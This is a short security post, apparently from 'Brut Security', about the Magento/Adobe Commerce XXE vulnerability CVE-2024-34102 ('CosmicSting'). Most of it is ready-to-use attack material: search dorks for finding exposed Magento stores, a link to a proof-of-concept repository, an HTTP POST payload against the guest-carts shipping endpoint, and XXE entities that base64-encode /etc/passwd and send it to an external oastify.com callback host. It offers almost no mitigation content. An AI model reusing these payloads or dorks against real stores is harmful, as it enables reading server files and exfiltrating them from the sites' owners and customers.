Unauthenticated Magento XXE CVE-2024-34102 to Privilege Escalation

CVE-2024-34102

🔥Magento XXE CVE-2024-34102: A newly discovered vulnerability dubbed “CosmicSting” jeopardizes millions of online stores    
built on Adobe Commerce and Magento platforms.    
   
⚠️CosmicSting enables attackers to gain unauthorized access to sensitive files, including those containing passwords.    
When combined with a recent Linux bug (CVE-2024-2961),the vulnerability can be escalated to remote code execution.   
   
📣Dorks:   
Hunter: http://product.name="Adobe Magento"   
FOFA: app="Adobe-Magento"   
SHODAN: http.html:"magento-template"   


🔴POC: https://github.com/th3gokul/CVE-2024-34102  
 
⛔️Payload:  
POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/2

Content-Type: application/json 
Content-Length: 192 
{"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData": 
{"data":"http://*.oastify.com/xxe.xml","dataIsURL":true,"options":12345678}}}}}}

 
⚠️Privilege Escalation

{"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData": 
{"data":
"<?xml version=\"1.0\" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM \"https://raw.com/exploit2.dtd\"> %sp; %param1; ]> <r>&exfil;</r",
"options":16}}}}}}


<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://*.oastify.com/dtd.xml?%data;'>">


                                                     Brut Security